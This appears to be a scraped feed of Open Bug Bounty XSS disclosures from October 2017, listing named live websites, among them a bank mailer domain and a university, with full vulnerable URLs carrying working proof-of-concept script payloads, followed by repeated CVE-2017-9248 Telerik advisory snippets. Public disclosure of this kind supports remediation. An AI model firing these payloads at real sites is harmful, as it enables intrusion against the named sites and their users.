shulcloud.com XSS vulnerability

Vulnerable URL: https://www.shulcloud.com/features!prettyPhoto/0,%3Ca%20onclick=%22alert%27OPENBUGBOUNTY%27;%22%3E/ Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 30.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

rheem.com.au XSS vulnerability

Vulnerable URL: http://www.rheem.com.au/!prettyPhoto/0,%3Ca%20onclick=%22alert%27OPENBUGBOUNTY%27;%22%3E/ Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 30.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 59040...

toofast.gr XSS vulnerability

Vulnerable URL: https://toofast.gr/prodcat.php?cat=106%22%3E%3C/select%3E%3Csvg/onload=confirm/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 30.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank...

strangefruits.nl XSS vulnerability

Vulnerable URL: http://www.strangefruits.nl/v8.0/select.php?s=43=1%22%3E%3Csvg/onload=confirm/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 30.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

lodjiya.ru XSS vulnerability

Vulnerable URL: https://www.lodjiya.ru/search/?q=" Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 30.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3395361 VIP website status:| No Check lodjiya.ru SSL...

healthandhygiene.co.za XSS vulnerability

Vulnerable URL: http://www.healthandhygiene.co.za/index.php?id=6 ' " Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 29.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2900739 VIP website status:| No Check...

mcgeorge.edu XSS vulnerability

Vulnerable URL: http://www.mcgeorge.edu/Alumni/ContinuingLegalEducation.htm!prettyPhoto/0,%3Ca%20onclick=%22alert%27OPENBUGBOUNTY%27;%22%3E/ Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 29.10.2017 Vulnerability type:| XSS Vulnerability status:|...

europeanfinancialreview.com XSS vulnerability

Vulnerable URL: http://www.europeanfinancialreview.com/?p=2273!prettyPhoto/0,%3Ca%20onclick=%22alert%27OPENBUGBOUNTY%27;%22%3E/ Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 29.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

irinazaytseva.ru XSS vulnerability

Vulnerable URL: http://irinazaytseva.ru/?s=1%22--!%3E%3CSvg/OnLoad=confirm/OPENBUGBOUNTY/%3E%22 Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 29.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 52214 VIP websi...

kinodisco.at.ua XSS vulnerability

Vulnerable URL: http://kinodisco.at.ua/search/?do=search=%22%3E%27%3EI%3Ci%3EI%3Csvg%2Fonload%3Dalert%28%2Fopenbugbounty%2F%29%3E=42=13 Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 25.10.2017 Vulnerability type:| XSS Vulnerability status:| Public...

4dprime.com XSS vulnerability

Vulnerable URL: http://www.4dprime.com/!prettyPhoto/0,%3Ca%20onclick=%22alert%27OPENBUGBOUNTY%27;%22%3E/ Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 25.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 130576...

turbopreise.de XSS vulnerability

Vulnerable URL: http://turbopreise.de/suche?query=1%22--!%3E%3CSvg/OnLoad=confirm/OPENBUGBOUNTY/%3E%22 Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 25.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 54142 VI...

nhlegendsofhockey.com XSS vulnerability

Vulnerable URL: http://www.nhlegendsofhockey.com/news.php?id=65 ' " Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 25.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1038284 VIP website status:| No Check...

mailer.hdfcbank.com XSS vulnerability

Vulnerable URL: http://mailer.hdfcbank.com/campaign/Dec16/TaxSavingGuide/bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnT1BFTiBCVUdCT1VOVFknKTwvc2NyaXB0Pg==&cfwaftk=100562002O0AhTUZSis3FxO-2TaPZ0Cux4 Details: Description| Value ---|--- Patched:| Verification in progress...

rentmantra.com XSS vulnerability

Vulnerable URL: https://www.rentmantra.com/rent/?propertytype=1===page=15price=price==1=Noida=%22%3E%3Cscript%3Ealert/OPENBUGBOUNTY/%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 22.10.2017 Vulnerability type:| XSS Vulnerability...

CVE-2017-9248

Telerik.Web.UI.dll in Progress Telerik UI for ASP.NET AJAX before R2 2017 SP1 and Sitefinity before 10.0.6412.0 does not properly protect Telerik.Web.UI.DialogParametersEncryptionKey or the MachineKey, which makes it easier for remote attackers to defeat cryptographic protection mechanisms, leadi...

CVE-2017-9248

Telerik.Web.UI.dll in Progress Telerik UI for ASP.NET AJAX before R2 2017 SP1 and Sitefinity before 10.0.6412.0 does not properly protect Telerik.Web.UI.DialogParametersEncryptionKey or the MachineKey, which makes it easier for remote attackers to defeat cryptographic protection mechanisms, leadi...

CVE-2017-9248

CVE-2017-9248 affects Progress Telerik UI for ASP.NET AJAX (and Sitefinity) prior to R2 2017 SP1 / 10.0.6412.0. The vulnerability lies in Telerik.Web.UI.dll handling of the Telerik.Web.UI.DialogParametersEncryptionKey and the MachineKey, enabling an attacker to defeat cryptographic protection and...

CVE-2017-9248: Insufficiently Protected Credentials

Telerik.Web.UI.dll in Progress Telerik UI for ASP.NET AJAX before R2 2017 SP1 and Sitefinity before 10.0.6412.0 does not properly protect Telerik.Web.UI.DialogParametersEncryptionKey or the MachineKey, which makes it easier for remote attackers to defeat cryptographic protection mechanisms, leadi...

PT-2017-4156

Name of the Vulnerable Software and Affected Versions Progress Telerik UI for ASP.NET AJAX versions prior to R2 2017 SP1 Sitefinity versions prior to 10.0.6412.0 Description The issue is related to insufficient protection of registration data in the Telerik.Web.UI.dll library, which is part of th...